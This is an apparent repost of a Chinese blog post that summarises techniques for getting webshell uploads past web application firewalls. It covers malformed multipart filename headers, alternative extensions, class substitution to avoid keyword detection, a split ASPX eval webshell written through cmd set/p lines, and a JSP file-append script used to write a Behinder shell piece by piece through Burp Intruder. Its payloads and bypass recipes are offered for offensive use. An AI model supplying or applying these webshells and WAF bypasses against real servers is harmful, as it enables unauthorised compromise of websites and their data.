文件上传突破waf总结

2020-04-13 约 111 字 预计阅读 1 分钟

声明:本文 【文件上传突破waf总结】 由作者 dazhige 于 2020-04-13 08:35:18 首发 先知社区 曾经 浏览数 147 次

感谢 dazhige 的辛苦付出!

前言

在这个waf横行的年代,绕waf花的时间比找漏洞还多,有时候好不容易找到个突破口,可惜被waf拦得死死的。。。
这里总结下我个人常用的文件上传绕过waf的方法,希望能起到抛砖引玉的效果,得到大佬们指点下。

常见情况

下面总结下我经常遇到的情况:

一. 检测文件扩展名

很多waf在上传文件的时候会检测文件扩展名,这个时候又能细分几种情况来绕过。

1. 寻找黑名单之外的扩展名

比如aspx被拦截,来个ashx就行了;jsp被拦截可以试试jspx、JSp等等。这个简单,无需赘述。

2. 构造畸形的数据包,“打乱”waf的检测

这个方法,又能细分出很多来,而且屡试不爽,这里总结下我个人常用的
(1) 删掉content-type
(2) 构造多个filename
比如这样:

又或者这样:

(3) 把filename参数变畸形
正常的数据包,是这样:

Content-Disposition: form-data; name="file"; filename="100x100.jsp"

waf拦截了:

把filename变成这样(后面多了个双引号):

Content-Disposition: form-data; name="file"; filename="100x100.jsp""

可以看到waf直接拉胯了:

二. 检测文件内容

一般来说,waf也会检测文件内容。这个时候被检测往往是一些敏感的“关键词”,比如exec()、eval()这些函数。这个时候怎么办呢?

1. 图片马

“上古时期”经常用这个绕waf什么的,现在估计不太行了。

2. 文件包含

利用php远程文件包含或者java反射调用外部jar等等操作。可是有时候连带有文件包含功能的函数也会被检测。。。

3. 替换被检测的内容

这个是我用得比较多的方法。
比如java中Runtime.getRuntime().exec()经常被杀或者被拦截,这里可以通过调用ProcessBuilder类来实现相同的功能。
参考:
https://www.cnblogs.com/sevck/p/7069251.html
https://github.com/huyuanzhi2/fuck_waf_jspx
亲测可以绕过YxlinkWAF
又比如,fileOutputStream被拦截时:

我可以用RandomAccessFile来替代:

这个方法往往需要花很长时间,通过不断的删改来定位被检测的内容,去查阅资料文档来找可以替代的函数或者类。

4. “曲线救国”

当我们没办法直接上传shell的时候,可以先上传一些小功能的脚本,比如写文件,cmdshell等等:
然后利用写文件或者cmdshell来写入shell,来达到我们的目的。
比如windows cmd下不换行输入来拆分eval:

>>d:\xxx\dao.aspx set/p=^<%@ Page Language="Jscript"%^>
>>d:\xxx\dao.aspx set/p=^<%ev
>>d:\xxx\dao.aspx set/p=al(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["zz"])))),"unsafe");%^>

又比如利用之前我们上传的写文件函数,一个字节一个字节的将shell写进去。
先将我们的冰歇shell.jsp拆开:

然后利用之前绕过waf上传的写文件脚本:

<%@ page import="java.io.*" %>
<%
RandomAccessFile randomFile = new RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw");
long fileLength = randomFile.length();
randomFile.seek(fileLength);
randomFile.write(request.getParameter("c").getBytes()); 
%>

参数 f=/shell.jsp&c=

结合burp的intruder把冰歇马给写进去:

结语

waf,真是个让人头疼的东西。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now